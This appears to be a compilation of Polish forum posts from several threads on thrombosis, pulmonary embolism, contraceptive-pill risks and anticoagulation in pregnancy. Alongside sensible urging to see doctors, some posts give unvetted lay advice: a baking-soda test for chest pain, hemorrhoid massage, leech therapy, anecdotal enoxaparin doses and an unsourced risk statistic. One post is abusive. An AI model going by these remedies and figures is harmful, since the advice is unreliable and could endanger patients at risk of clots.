nie popadaj w panike, ale the_kami z tamtego watku ma racje. Objawy takie jak
bol i ucisk w klatce piersiowej moga (choc nie musza) wskazywac na zator pluc-
najgrozniejsze i w sporym odsetku smiertelne powiklanie zakrzepicy zylnej. Sama
przyznajesz, ze palisz papierosy, choc na pewno wiesz, ze to zwieksza ryzyko
powiklan zakrzepowych. Zatorowosc plucna jest czestsza niz nam sie wydaje i choc
wielu ludzi przezywa zatory nawet o tym nie wiedzac, niektorzy nawet nie wiedzac
co sie stalo padaja trupem. Tego absolutnie nie mozna lekcewazyc. EKG to za malo
by wykryc zator pluc. Zmiany w ekg pojawiaja sie dopiero przy tak duzych
zatorach, ze rozpoznanie i tak samo sie nasuwa.
Mysle, ze dla wlasnego bezpieczenstwa lepiej odstawic pigulki i dosc szybko
postarac sie wykluczyc zatory. Jesli w tej chwili nie masz dolegliwosci, mozesz
poczekac do jutra, ale jesli masz, albo jesli bol i ucisk wroca- idz chocby na
izbe przyjec.
A tak w ogole to nie zastanawialas sie nad jakas inna forma antykoncepcji, mniej
klopotliwa i potencjalnie mniej ryzykowna niz pigulki? Np Mirena.

> Piszesz jak najszybciej wykluczyć zatrory - ale jak? jakimi badaniami i gdzie
> się zgłosić? Czy te DD Dimery wykonać?

Strategia przy podejrzeniu zatoru jest taka: na poczatek D-dimery i gazometria.
To powinno zrobic kazde laboratorium przyszpitalne o kazdej porze dnia i nocy.
Jesli jest mozliwosc, echokardiografia. Badaniem najdokladniejszym jest
tomografia komputerowa wysokiej rozdzielczosci. Troche gorszym, bo dajacym
odpowiedz w kategoriach duze/srednie/male prawdopodobienstwo zatoru, jest
scyntygrafia pluc. Ale te dwa ostatnie na cito u osoby w dobrym stanie ogolnym
moga byc trudno osiagalne.

> Nie wykupiłam tez Helacidu (?).

A pomagalo? Bo moze to po prostu zgaga... Sprobuj wypic pol lyzeczki sody
oczyszczonej na pol szklanki wody. Jesli bol przejdzie- moze to po prostu zgaga.

> Czy te moje wyniki nie pokazują zadnego zagrożenia czy też nie mowią o sprawie
> zupełnie nic?

Wartosci sa prawidlowe, ale to niewiele wnosi, bo moga byc prawidlowe nawet przy
rozleglej zakrzepicy.

Na razie: bez paniki. Jesli czujesz sie dobrze, zajmij sie tym od jutra. Jesli
czujesz, ze cos nie tak- nie wahaj sie isc na ostry dyzur.

a i hormony robilam kilka miesiecy temu..wszystko w normie..moze ja mam juz cos
z glowa?? biore leki na rozrzedzenie krwi, mialam zator płuc, dużą zakrzepice w
obydwu nogach...przeszłam przez śmierć synka..Potwornie boję się, że znowu coś
bedzie nie tak:( wiecie...boje sie, ze byle dziwny objaw...a mnei wykonczy:|

Dziewczyny..bardzo mocno trzymam za Was kciuki!!!
Judytko?? Pamietasz mnie może? Kiedys wymieniałysmy poglądy na temat
przeciwcial i takich tam...

Póki co..udało nam się zaciążyc..w pon - pierwsze USG
Ja jestem na clexanie - 50mg od poczatku i wit E 200.
z diagnozą zespołu antyfosfolipidowego (antykardiolipiny i antykoagulant
toczniowy), z wywiadem zatoru płuc i zakrzepicy.

hello;)

ja najpierw mam kilka pytań:
1. Dlaczego brałaś encorton, który jest sterydem..?
2. Jakie badania miałas robione? Na jakie grupy przeciwciał? do najcześciej
wystepujących przy zespole antyfosfolipidowym należą: przeciwciala
antykardiolipinowe, antykoagulant toczniowy i klika innych...

"Szkoły" prowadzenia ciąż u kobiet z zespołem antyfosfolipidowym są różne, w
zależności np od wywiadu ..( u mnie zdiagnozowano zespoł antyfosfolipidowy po
mojej pierwszej ciąży, zatorze płuc i zakrzepicy..w związku z tym inaczej
przebiega zapobieganie podobnym niechcianym wydarzeniom...-np biore wieksze
dawki heparyny drobnocząsteczkowej)
Wit.E, acard czy aspiryna - są również wskazane, w zależnosci oczywiscie od
wywiadu...

jesli bedziesz miala wiecej pytan, to pisz do mnie na priva
pozdrawiam

Ale ja sie w pelni zgadzam z tym, ze przy zespole antyfosfolipidowym zalecenia
sa takie, ze acard tudziez aspiryna i np clexane.

Aspiryna tudziez acard to za malo, szczególnie w ciązy..i w pelni sie zgadzam z
tym, ze trzeba dorzucic heparyne. Ale to nie działa w druga strone..
Z wynikow badan o ktorych pisalas, odsetek ciązy zakończonych pomyślnie na
samem aspirynie był duzo nizszy niz ciązy prowadzonych na aspirynie i heparynie.
I racja...tyle, ze ciąża bez aspiryny..a na heparynie ( ale np w wiekszych
dawkach) ma równie wysokie prawdopodobienstwo pozytywnego rozwiazania...z ta
róznica niestety..ze wieksze dawki heparyny moga prowadzic do krwawien z dróg
rodnych:(

Wszystko zalezy od wywiadu. Ja po zakrzepicy i zatorze pluc nie biore acardu
ani aspiryny..ale ciąże zaczełam od 50-60mg clexane , wit E 200mg.
Ginka wolałaby mi zmiejszyc dawke heparyny - zeby nie bylo czasem akcji z
krwawieniami..a moja hematolog chce mi zwiekszyc ta dawke, zeby zabezpieczyc
mnie przed nawrotem zakrzepicy czy zatoru pluc.

buziaki Pimpeczku

hello:)
Budeczko..wim, że sie tych durnowatych przecijadrowych nie łączy z zespołem
antyfosfolipidowym..ja mialam ostro podwyzszone antykardiolipinowe i obecność
antykoagulanta toczniowego:/ z wywiadem zatoru płuc i cholernej zakrzepicy.

To co się w ciązy dzieje z poziomem przeciwciał..nie za bardzo da się
przewidzieć niestety :/ szaleje wszystko co tylko może...
Dlatego moim zdaniem ważna jest diagnoza sprzed ciąży oparta na dwukrotnych
badaniach poziomu przeciwciał zrobionych w odstępie min. 6 tygodni.

Ja pędze w pon. na pierwsze USG ciązy..boje sie przeokropnie...
W srode - wizyta u mojej ginki...prof.Ewy Dmoch ze szpitala Orłowskiego na
Czerniakowskiej w wawie
A w piatek..pędzę na chocimską..do Instytutu Hematologii

zeswiruję jak nic niedługo...

Hej, ja co prawda nie mam mutacji leiden, ale też trombofilię
(niedobór antytrombiny plus białka c) plus inne atrakcje (immuno i
hormonalne), wyszło po dwóch poronieniach, trzecia ciąża donoszona
bez problemów - synek zdrowy 1,5 roku. W ciąży nie miałam problemów
z zakrzepicą, brałam clexane plus acard, byłam pod opieką dr Jerzak
(jeździłam z drugiego końca polski), wyniki w ciąży robione może z
dwa razy, ok. 20tc profilaktycznie zwiększona dawka clexanu. Jak
poszukasz dobrze na forum znajdziesz dużo dziewczyn z tym samym
problemem, wiele jest już mamami ;) zobaczysz - będzie ok. A
dlaczego sam clexane bez acardu? Inna sprawa to to, że ta ciąża
faktycznie może być trudna emocjonalnie, wiem po sobie. Konieczne
jest wsparcie najbliższych. Może w Twoim wypadku dobrze byłoby
odwiedzić psychologa - lęki w tym stanie nie pomogą dzidziusiowi,
ani Tobie. Mi pomagały rozmowy - choćby wirtualne - z dziewczynami
które przechodziły to samo, oraz oczywiście pozytywnie zakończone
historie dziewczyn z takimi samymi problemami. Najważniejsze, że
znasz już przyczynę i wiesz jak z tym walczyć. trzymaj się, dbaj o
siebie, będzie dobrze :)

Ja jestm po zatorze płuc i zakrzepicy.Całą ciążę raczyłam sie clexanem w
sporawych dawkach -pod koniec ciąży brałam clexanową 100-tke.
Anestozjolodzy nie odważyli się podania mi znieczulenia zewnątrzoponowego-zbyt
duże ryzyko powstania krwiaka...moim zdaniem 80-tka też jest zbyt ryzykowna.
Potwierdzam co pisała Samboraga;): zarówno na clexanie jak i na doustnych
przeciwzakrzepowych (na myśli mam acenokumarol) spokojnie można karmić.
pozdrowiam i trzymam kciuki:)

A zcy ten pęcherz to twrdawa gulka z prześwitującą krwią taka fioletowa? Jeśli
tak to hemoroid.Jeżeli On nie pekł, czy nie zrobiłą siuę szczelina tonioe boli
podczas wypróżniania, co innego jeśli wystapi szczelina bądź zacznie
krwawić.Jesli swędzi to może być stan zapalny lub robić się pęknięcie, a może
już jest tylko o tym nie wiem. Polecam okłady i podmywanie się po każdym
wypróznieniu naparem z kory debu, tylko nie ciepłym, najlepiej schłodzonym bo
każde ciepło żle działą na to cudo, tzn może doprowadzić do zakrzepicy. Broń
Boże żadnych ciepłych nasiadówek. No i polecam masowanie tego hemoroida
wazeliną,żeby go rozmasować, a do tego czoipki i maśc Proctoglyvenol, drogobo
za oba zapłacisz koło 60 zł ale rewelacja, i polecam wypijać ponad 2 litry wody
mineralnej, i 3 herbatki czerwone dziennie, plus kefir, i łykać rutonoscorbin
na uszczelnienie żyłek, jesli to nie pomoże przez 2 tygonie to najlepiej chyba
udać się do lekarza. Ja tak doradzam choć sama sie nie udałam, niestey strach
przed lekarzem, mnie paralizuje.

a no bylo tak: po cc trafilam do szpitala z zatorem pluc.zaczal mi sie tam plyn
zbierac..po kilku tygodniach i co najmniej trzech probach punkcji osadzili "
biegli" ze to jakis krwiak albo ropa..n i zaczeli przyotowywac do operacji..
W miedzy czasie zaczeto mnie w tym samym miejscu diagnozowac i znaleziono we
krwi badziewia ktore odpowiadaja za zespol antyfosfolipidowy..
Caly czas bralam clexane..pozniej mi to osocze przetoczono, operacje
przesunieto o kilka dni...W czasie zabiegu sie okazalo, ze to nie zaden krwiak
w plucu czy ropa..ale zwykly plyn.
Kilka dni pozniej nei moglam chodzic:(( przyczyny: typowe objawy zakrzepicy
konczyn dolnych..Dostalam sintrom w dawkach poza zakresem terapeutycznym
(kazano mi sie trzymac zakresu 60%)i wypuszczono mnei do domu w stane dobrym
(nawet bez USG)...Kilka dni pozniej zaczelam szukac ratunku gdzie indziej..bo
nie moglam chodzic..Doopler wykazal zakrzepice konczyn dolnych zyl plytkich i
glebokich: nie jeden skrzepik..wszystko po kolei bylo pozapychane i konczyn
gornych tez..na szczescie trafilam w koncu do cudownych lekarzy, ktorzy
postawili mnie na nogi:) co prawda na nogi w ponczochach przeciwzakrzepowych,
ale to jednak nogi:)

clexane i alkohol
Chcialbym sie zapytac o to polaczenie. Przed chwila wrocilem z USG, bo mam
zakrzepice zyl ko0nczyn dolnych. Po 3 miesiacach lezenia lekarz zezwolil mi
dzisiaj na chodzenie, byle by sie nie forsowac i nie biegac, skakac itp. Tak
sie rozradowalem ta nowina, ze po wyjsciu ze szpitala przeszedlem sie z
kilometr i zapomnialem sie wypytac doktora o alkohol bo ta 3 miesieczna
abstynecja zaczyna mi doskwierac. A teraz padlem na lozko jak pies pluto i bym
sie napil piwa, tylko nie wiem czy mozna....... Clexane bede bral jeszcze
jakis czas, na ulotce nie ma zadnej wzmianki o interakcji, ale nie wiem. Jak
myslicie?

Telewizor skraca życie
Jakoś nie zestawiono wyników badań tych siedzących z badaniami np. listonoszy.
Listonosz zemrze wcześniej z powodu zakrzepicy zł kończyn dolnych,
zwyrodnienia stawów biodrowych i kolanowych plus zwyrodnienie kręgosłupa
(dźwiganie ciężkich toreb). Od wchodzenia na 3-4 pietra w domach bez windy, od
stresów związanych z operowaniem dużą gotówką (emerytury, renty, zasiłki),
ryzyko napadów bandytów, zbieranie wszelkich wirusów po domach staruszków
(doręczanie emerytur i rent tym ramolom bez kont bankowych). Tak więc
listonosz może nawet nie dożyć 50-ki, takie ma ryzyko zawodowe, związane z
nadmiarem ruchu...

nie tylko leki
"Zator płuc jest stanem klinicznym, w którym dochodzi do zamknięcia światła
jednej z tętnic płucnych materiałem zatorowym. Materiał zatorowy to w większości
przypadków zakrzep (może też być nim tłuszcz uwolniony z tkanek do układu
krążenia podczas urazu). Typowa lokalizacja zatoru płuc to dolne płaty prawego
płuca . Prawie 90% zakrzepów pochodzi z obszaru, z którego krew zbierana jest
przez żyłę główną (około 60% z żył uda), pozostałe z układu żylnego miednicy. U
osób starszych, unieruchomionych (nawet przez krótki czas np. podczas lotu
samolotem) może dojść do zakrzepicy i oderwania materiału zatorowego. Do innych
przyczyn zatoru płuc zaliczamy zaniesienie materiału zatorowego do płuc w
przebiegu migotania przedsionków"

Badania przed pigułkami
Lekarz zapisal mi Yasminelle bez żadnych badań. Powiedział że mają
tak małą dawkę hormonów że nic mi nie grozi. Ja sie jednak martwię
bo w mojej rodzinie są przypadki zakrzepicy. Powiedziałam lekarzowi
a on na to drwiąco że jak dostanę zakrzepicy to się dopiero będziemy
martwić. Czy ja przesadzam czy powinnam jednak zrobić jakieś
badania? Jedna moja ciotka po pigułkach była 2 mies w szpitalu bo
dostała zatoru płuc. Jakie konkretnie badania powinnam zrobić? Nie
będę przecież latać po lekarzach i psioczyć że tamten nie zrobił
żadnych badań...

Zapytam delikatnie - POPIERDZIELIŁO CIE??€???????????????

Nie umiesz IDIOTKO przeczytac tekstu pisanego ZE ZROZUMIENIEM?????

Dretwienie i opuchlizna konczyny to NIE SĄ TYPOWE SKUTKI UBOCZNE,
ale objawy, ktore moga sygnalizowac ZAKRZEPICE!!!!!
Napisane jest wyraznie, zeby w takim przypadku natychmiast ODSTAWIC
HORMONY !!!!!!!!!!!!!!!!!!!!!!!

WOlisz zmarnowac te 30-40 na opakowaniu czy wylądowac w szpitalu???

dla tepych - co to jest zakrzepica

"Zakrzepica to krzepniecie krwi w tętnicach lub żyłach powodujące
zmniejszenie lub zatrzymanie przepływu krwi. Zakrzepica naczynia
zaopatrującego w krew ważny organ taki jak mózg, serce czy płuco,
może spowodować śmierć chorego.

Objawy

W zależności od miejsca wystepowania zakrzepicy wywoływać może ona
różne objawy. Zakrzepice tętnic prowadzić mogą do zgorzeli,
zakrzepica tętnicy mózgu do udaru, zakrzepica tętnicy wieńcowej
kończy się zawałem mięśnia sercowego. "

Teraz zrozumialas?

A po odstawieniu - grzecznie udaj sie do INNEGO ginekologa, powiedz
mu o tych objawach i popros o solidne badania przed zapisaniem
innych tabletek lub innego srodka antykoncepcyjnego.

Jeśli masz jakieś objawy ze strony przewodu pokarmowego, to warto się przebadać
- gastroskopia czy choćby USG. No i zawsze warto wspomagać się środkami
łagodzącymi podrażnienia żołądka i dwunastnicy, np. pijąc siemię lniane.

Ludziom, którzy muszą brać leki przeciwbólowe w dużych dawkach (a my, migrenicy,
wcale nie jesteśmy jedyni - ci z artretyzmem biorą ich jeszcze więcej) podaje
się osłonowo środki zmniejszające wydzielanie kwasu żołądkowego czy zwiększające
syntezę prostaglandyn odpowiedzialnych za ochronę żołądka.

Srodki przeciwbólowe z grupy niesterydowych leków przeciwzapalnych działają
właśnie w ten sposób, że hamują syntezę prostaglandyn - wszystkich, nie tylko
tych powodujących stan zapalny i ból, ale też i tych chroniących żołądek.

Z drugiej strony - udowodniono, że przyjmowany regularnie ibuprofen zmniejsza
ryzyko raka jelita grubego i raka piersi, a aspiryna - ryzyko zawału i
zakrzepicy żył. Nie ma tego złego, co by na dobre nie wyszło :)

Najbardziej niebezpieczny jest chyba paracetamol, który w pewnym momencie (po
przekroczeniu dopuszczalnej dawki lub przy przewlekłym stosowaniu) staje się
niesłychanie toksyczny dla wątroby. A nie daj boże pić alkohol, biorąc
paracetamol - uszkodzenie wątroby pewne jak w banku :(

PS. Kodeina jest też łączona z innymi środkami, niekoniecznie paracetamolem -
np. Nurofen Plus to ibuprofen z kodeiną.

Witam, u nas po panice z obrzękiem i zakrzepicą - w miarę spokojnie.
Dzięki podpowiedzi "przyjaciela z netu" doszukałam się kontaktu z
przychodnią gdzie leczą pijawkami. I tym sposobem 6 pijawek spiło
trochę krwi ze stanem zapalnym plus leczenie farmakologiczne
uratowało sytuację. Opuchlizna pomału schodzi i samopoczucie się
poprawia. Za tydzień kolejna dawka. Oczywiście nie jest aż tak
całkiem dobrze, został kaszel , którego nie możemy się pozbyć.
Ale mąż juz może stanąć na tej zainfekowanej nodze i poruszać się po
mieszkaniu. Z drugiej nogi opuchlizna zeszła i jest w porządku choć
wygląda na bardzo wychudzoną. Narazie udało się opanowac kryzys ale
co będzie dalej ...

Z TEGO CO WIEM TO RÓŻA NOWOTWOROWA WYGLĄDA TROCHĘ INACZEJ, A MOŻE TO ZAKRZEPICA
- CZĘSTA PRZY RAKU PŁUCA, CHEMII ITP, MÓJ TATA MIAŁ TAK SAMO - ALE TO BYŁA
ZAKRZEPICA - BYŁ LECZONY, I TROCHĘ POZBYŁ SIĘ OBRZĘKU, MOŻE TO BYĆ Z POWODU
PRZERZUTÓW W WĘŹLE CHŁONNYM W PACHWINIE NP, CO POWODUJE " ZATKANIE " WĘZŁA, I
UTRUDNIENIE ODPŁYWU CHŁONKI, CZERWONE WYBROCZYNY MOGĄ BYĆ SPOWODOWANE NISKIMI
PŁYTKAMI, ALE NIE DA SIĘ TEGO WSZYSTKIEGO STWIERDZIĆ BEZ BADAŃ.
Różyca (łac. rhusiopathia suum lub łac. erysipelas suum, erysipeloid) - groźna
dla ludzi, zakaźna i zaraźliwa bakteryjna choroba świń o przebiegu ostrym lub
przewlekłym. Występuje na całym świecie. Powodowana przez Erysipelothrix
rhusiopathiae, włoskowiec różycy (regularna Gram dodatnia pałeczka). Zakażenie
występuje przez uszkodzenie skóry i drogą pokarmową (zanieczyszczona pasza).

Okres inkubacji choroby wynosi 3-4 (2-7) dni. Możemy wyróżnić trzy postacie choroby:

* Postać posocznicowa
* Postać pokrzywkowa
* Postać przewlekła
A JAK WIDZISZ WIEDZA TWOJEGO LEKARZA JEST TROCHĘ OGÓLNIE MÓWIĄC OGRANICZONA - CO
INNEGO RÓŻYCA, CO INNEGO RÓŻA NOWOTWOROWA
Róża nowotworowa
Z Wikipedii
Skocz do: nawigacji, szukaj

Róża nowotworowa - (Erysipelas carcinomatosum) - zaliczana do zespołów
paraneoplastycznych. Jest to odczyn zapalny spowodowany szerzącymi się drogą
naczyń chłonnych przerzutami nowotworowymi. Najczęściej dotyczy przerzutów
wywodzących się z raka piersi.
TO OGÓLNIE DOSTĘPNE, NAJPROSTRZE DEFINICJE OBU CHORÓB Z WIKIPEDII
IDŹCIE DO NACZYNIOWCA

jagoda_pl napisała:

> ale niestety krostki wokół ust i na brodzie nadal są moją zmorą -
> chyba trzeba je z innego frontu zaatakować;)...

A owszem. Tak jak pisałam pryszcze na brodzie (i żuchwie) to w znakomitej
większości kwestia hormonów. Warto pójść do dobrego ginekologa-endokrynologa.

Jeśli ktoś nie lubi lekarzy, a pryszcze mu nie bardzo przeszkadzają, to można
próbować przeczekać, starać sie prowadzić zdrowy tryb życia czy stosować inne
metody. Może po prostu po jakimś czasie samo przejdzie.

Ale jeśli komuś pryszcze przeszkadzają, to warto skonsultować sie z
endokrynologiem, porobić zalecone przez niego barania i rozważyć podjęcie
zaleconej przez niego kuracji.

nas-daq napisała:

> Hormonów jak pisałam brać nie mogę i nie zamierzam, bo w moim
> przypadku jest duże ryzyko zatoru płuc.

Endokrynolog to nie jest tylko "lekarz przepisujący tabletki antykoncepcyjne".
Wiedząc o wysokim ryzyku zakrzepicy w Twoim przypadku może zalecić inny rodzaj
terapii hormonalnej albo dać Ci jeszcze jakiś inne zalecania. Albo może w Twoim
przypadku wykluczy przyczyny hormonalne i powie co dalej robić. A w
ostateczności możesz wysłuchać jego diagnozy i zaleceń i się do nich nie
zastosować. W końcu decyzja o leczeniu zawsze należy do pacjenta. Tylko wybierz
DOBREGO lekarza, a nie konowała, traktującego wszystkich pacjentów jednakowo czy
oszczędzającego na badaniach.

Dostała okropnego bólu głowy, trwał kilka dni, leki przeciwbólowe nie pomagały. Gdy w końcu wróciła jej pani doktor z urlopu- od razu był neurolog, klinika- zawieźli ją tam już nieprzytomną, była sparaliżowana (prawostronnie),dostała zakrzepicy mózgowej i udaru niedokrwiennego mózgu, szans na przeżycie dawano 20%- przeżyła, cudem.Powrót do zdrowia (wróciła do pracy) trwał 1,5 roku. Dopiero w klinice okazało się,że w ogóle niemożemy łykać żadnych hormonów, przeciewskazania lekarz widział w chorobach w rodzinie (skłonność do udarów, na co zmarli nasi najbliżsi). Wiem np., że w moim wypadku wykluczona jest też kiedyś w okresie menopauzy HTZ.Po prostu należę do tej grupy kobiet, którym hormony szkodzą. Pamiętaj jednak, że całe mnóstwo kobiet je bierze i nic, więc nie popadaj w panikę. Upewnij się, w której grupie ty jesteś.W ulotce przeczytasz,że zakrzepica z reguły wymieniana jest na pierwszym miejscu skutków ubocznych (mogą być rózne rodzaje zakrzepic- w płucach, nodze albo w mózgu).

Trudno mi Cię zrozumieć, naprawdę. Moja siostra też nie wierzyła, że z powodu rodzinnej skłonności do wylewów nie wolno jej brać tabsów, po 6 latach dostała zakrzepicy mózgowej i udaru niedokrwiennego mózgu Po 6-9 miesiąch rehabilitacji wróci do pracy, cud, że w ogóle z tego wyszła! Tak jak przy skłonności do wylewów, tak też przy żylakach czy raku kobiecych narządów NIE WOLNO brać hormonów. Nie nazwę Cię idiotką, po co. To Twoje zdrowie i Ty poniesiesz konsekwencje i tyle. A że nie od razu.
P.S. Mój 38-letni wujek zmarł na raka płuc- powód: palenia. Dziadek -paląc- dożył 87 lat. Jaką masz pewność, że będziesz w takiej sytuacji jak mój dziadek, a nie jak mój wujek??? ŻADNEJ.

Witjacie, a zwłaszcza Dikande. Słyszałam od Fetrasi o waszym spotkaniu. Dikande,
serdecznie ci współczuję, ze masz takie kłopoty w ciązy i doskonale rozumiem
Twój strach.Nic na to nie można poradzić. Po prostu leżeć i przeczekać trudny
czas.Możesz być pewna, że wspieramy Cię na odległość. Moja przyjaciółka miała
ciążę koszmar, cała na leżąco, cukrzyca, zakrzepica, przysadka - plus jej facet
zwariował i została sama. Dramat. Od marca do września w wyrze. A tymczasem
młody urodził się zdrowy jak młody bóg i w ciągu TYGODNIA wszystkie choroby
mamie minęły. Uwazam, że ta historia daje nadzieję.
Mój też się nie da poadzić na nocniku, lekarz kazał mi odczekać io znowu
spróbowac, albo łagodnie, albo w wersji drastycznej, czyli mop i zwinięte
dywany. podobno dziecko jest esteta, nie bedzie chciało chodzić w mokrym. Może
dojrzeję, poczekam jeszcze kilka tygodni.

plusewaplus napisała:

> Witajcie! dawno mnie tu nie bylo..Byl okres,ze czulam sie lepiej ale znow sa
> bole i stany grypopodobne. Boreliozy nie lecze w dalszym ciagu ze wzgledu na
> finanse..ale menu lekow ktore biore wciaz sie powieksza.Od ok 5 mies mam bardzo
> obrzmiala noge tą ktorą mialam operowana..okazuje sie ze mam w niej
> zakrzepice.

Poradź się osób które stosują pijawki.

www.bio-gen.pl/index.php?option=com_content&task=view&id=22&Itemid=39
"Pijawka nie stanowi panaceum na wszystkie choroby, ale skutecznie leczy:
choroby i bóle serca, nadciśnienie, niedociśnienie, choroby płuc i oskrzeli ,
choroby przewodu pokarmowego, choroby wątroby, wrzody żołądka i dwunastnicy ,
wysoki cholesterol , alergie, choroby skóry, żylaki, zakrzepowe zapalenie
żył,......"

Pozdrawiam
Leszek

28.10.2008 Magdusia, 26 tydz, 1000g, cc
Za tydzień Magdusia będzie miała pół roku. Dziś waży 4,7 kg i ma około 55 cm. W karcie chorób mamy już wylew dokomorowy, retinopatię, dysplazję oskrzelowo-płucną, posocznicę gronkowcową (sepsę), zakrzepicę żyły wrotnej, problemy z gospodarką fosforanowo-potasową, a ostatnio doszła dysimmunoglobulinemia (po zapaleniu płuc złapanym w szpitalu). Na szczęście większość tych paskudztw występuje w delikatnej postaci, a Magdalenka ma tyle sił życiowych, że sobie z tym radzi. Walczymy i jestem pewna, że wszystko będzie dobrze. Gorąco pozdrawiam i trzymam kciuki za wszystkie cudowne, forumowe wcześniaki.
mama Magdusi

U nas w ogóle nie wchodzi w grę żadna antykoncepcja hormonalna, dlatego ja np. od lat gumki+ NPR (i 2 zaplanowanych co do miesiąca dzieci-13 i 9).Siostra brała ok. 5 lat, źle się czuła,ale nie wierzyła, że coś może się stać, nagle ból głowy, inny niż zwykle i zakrzepica mózgowa (może być jeszcze w nogach i płucach), cud, że żyje.Być może tak jak my jesteś w tej grupie kobiet, dla których antykoncepcja hormonalna się nie nadaje, a wierz mi- powikłania są w takim wypadku okropne, nikomu nie życzę.

Tak, jeśli przyczyną są tabsy (a wszystko na to wskazuje)- biorąc je możesz pogorszyź swój stan nóg.
O ciąży porozmawiaj z lekarzem.
Na słońcu przy tabsach raczej niewskazane jest opalanie (przebarwienia), nie chodzi o udar słoneczny, a udar mózgu wywołany tabsami (siostra dostała najpierw zakrzepicy, efektem był udar),są różne postacie zakrzepicy: może dotyczyć nóg, płuc lub- mózgu.
Po prostu idź do lekarza z tymi dolegliwościami, nie lekceważ ich, ale też nie panikuj.

Mialam stymulacje do iui gonadotropinami, konkretnie - gonalem, a pod koniec
dostalam jeszcze menopur.
Jest to stymulowanie takimi samymi lekami jak do in vitro, tylko w mniejszych
dawkach (po to zeby wyhodowac w 1-nym cyklu 2-3 pecherzyki, w in vitro hoduje
sie znacznie wiecej pecherzykow).
Sa to najdrozsze leki do stymulacji. Cena lekow zalezy od tego ile bedziesz ich
potrzebowala - moze dojsc nawet do 2,500 - 3,000 tys. zl w jednym cyklu. Plus
oczywiscie koszty monitoringu i ewentualnego iui. U mnie byla mniejsza dawka
niz srednio, bo bardzo zle znosilam te stymulacje (dr obawiala sie zakrzepicy i
wczesniej przerwala), wiec leki kosztowaly mnie 1,350 zł.
We wszystkich źródlach pisza, ze stymulacja gonadotropinami najbardziej ze
wszystkich stymulacji zwieksza szanse powodzenia w iui, między innymi przy
endometriozie i nieplodnosci meskiej.
W Polsce robi sie to dość rzadko, ze względu na koszty i na to , ze w Polsce
nie sa to koszty refundowane.
Bylam stymulowana gonadotropinami do 3-ciej iui, po dwoch iui na cyklu
naturalnym i udalo mi sie w tej 3-ciej iui zajsc w ciaze.
Z tym, ze musze dodac, ze akurat do tej 3-ciej iui moj M. mial wyjatkowo,
nietypowo dobre nasienie i bylam tez w 2-gim cyklu po hsg.
Powodzenia.

zakrzepica czy zylaki???
Witam, od roku brałam yasmin. Przez ostatnie pół roku zauważyłam, że zaczynają
pojawiać mi się zgrubienia w żyłach pod kolanami i męczy mnie coraz częsciej
suchy kaszel, a czasami mialam wrazenie ze mam coś na płucach. W zeszłym
miesiacu poprosiłam ginekologa o zmianę antykoncepcji na plasterki - chciałam
oszczędzić trochę żołądek. W pierwszym dniu po przyklejeniu plastra, poczułam
dotkliwy ból pod kolanami, a zgrubienie wydało mi się większe. Kaszel jak był
tak mam. Mam w związku z tym parę pytań do was. Do jakiego specjalisty udać
się z tymi żyłami i czym różnią się zylaki od zakrzepicy? U mnie w rodzinie
żylaki miała prababcia, babcia i mama i siostry babci I co zrobić z tym
suchym kaszlem - męczy mnie również w nocy. Czy może miec to zwiazek z
pryjmowanymi hormonami???

No to w przypadku żylaków albo problemów z żyłami z tą zmianą z tabletek na
plastry to tak jak z deszczu pod rynnę albo i gorzej. Lekarz jakiś niedouk skoro
nie poinformował Cię,że plastry zwiększają ryzyko zakrzepicy i udaru min. o 60%
bardziej niż tabletki i nie ściemniam tylko fakty piszę. Fakt może i plastry
oszczędzają żołądek, ale zawsze jest coś za coś. Co do kaszlu to do ogólnego
może prześwietlenie płuc albo inne badanie by się zdało, ale to już lekarz musi
zadecydować bo ginekolodzy to czasem bajki opowiadają-w końcu co poniektórzy to
niezłe gadżety zgarniają od przedstawicieli handlowych za przepisywanie
określonych "artykułów".

Koniecznie idz do lekarza i powiedz o tych objawach, zwlasza jezeli palisz
(Palenie + pigulki = zakrzepica). Skurcze w lydkach moga wskazywac na zakrzepy.
W moim przypadku skonczylo sie zatorem w plucach, operacja i braniem do konca
zyciapigulek na krzepliwosc krwi. (Mam nadzieje, ze Ciebie to nie spotka).

Serdeczne dzieki Monica za link.
przez jego obróbkę, czyli skrócenie można dojść do wielu dla nas ciekawych
rzeczy. Ja znalazłem coś takiego co mnie teraz bezpośrednio dotyczy i
skopiowałem najważniejszy kawałek
"Bardzo ważnym elementem przy unieruchomieniu kończyny dolnej jest
profilaktyka przeciwzakrzepowa.
Brak pracy tzw. pompy mięśniowej wspomagającej odpływ krwi z kończyny może
prowadzić do zastoju żylnego, następnie agregacji krwinek przy ścianie naczynia
i powstania skrzeplin. Może rozwinąć się obraz zakrzepicy żylnej lub, gdy
fragmenty skrzepu oderwą się i powędrują do płuc - powstaje zatorowość płucna.
A jest to choroba bezpośrednio zagrażająca życiu!"
całość artykułu mozna znależź po kliknięciu linka:
www.ortopeda.zdrowemiasto.pl/ortopedia/002.html
Pozdrawiam wasze kolanka.

Hello!
Moj zegar biologiczny wybil niedawno 24 wiosny... Boze..jak ten czas leci
Chlopa zagonie do roboty, mysle, ze za jakis roczek, moze pol (warunkuje to
znalezieniem w stolicy godnego zaufania ginekologa, ktorego moge lapac w razie
problemow...a to nie jest latwa sprawa).
A jesli chodzi o zator, to w mojej epikryzie wypisowej figuruje pozycja pod
tytulem: zatorowosc plucna.Bogu dzieki w momencie kiedy wyladowalam z
dusznoscia, tetnem 130 itd pod tlenem, nie zdawalam sobie sprawy co mi dolega.
Pozniej zebral mi sie w lewym plucu plyn, ktorego lekarze nie mogli zpunktowac
Wymyslili, ze trzeba robic terakoskopie, tyle, ze przygotowujac mnie do
operacji przetoczyli mi osocze grupy A, podczas, gdy ja mam krew grupy B.
Zabieg trzeba bylo przelozyc.W koncu wyladowalam na sali operacyjnej, a potem
lezalam tydzien z drenem.Suma sumarum sciagnieto ponad 2 litry plynu.
No a next punkt moich przygod to wlasnie zakrzepica.
Sie tak zastanawiam: czy przetoczenie osocza niezgodnego grupowo moglo miec
wplyw na powstanie zakrzepicy? Kiedy pytam sie tutejszych lekarzy, to jakos nie
moge uzyskac jasnej odpowiedzi.Kazdy kreci nosem, jakby bojac sie konsekwencji
tego, co powie.
Do MEDLINE jako nie lekarz nie mam niestety dostepu
A szkoda, bo z checia bym sobie tam pogrzebala.

Niestety brakuje mi poki co pozytywnego nastawienia.Hematolodzy ostrzegaja,
strasza, znieksztalcaja statystyki ciazowe.A wiekszosc z lekarzy tej
specjalnosci, z ktorymi mam kontakt, to mlode kobiety.Chyba wiedza co znaczy
instynkt macierzynski, ciaza, dziecko...Ale nie wiedza, czym jest strata
dziecka ( i wcale im tego nie zycze).Po prostu mam troszke do nich zal, ze
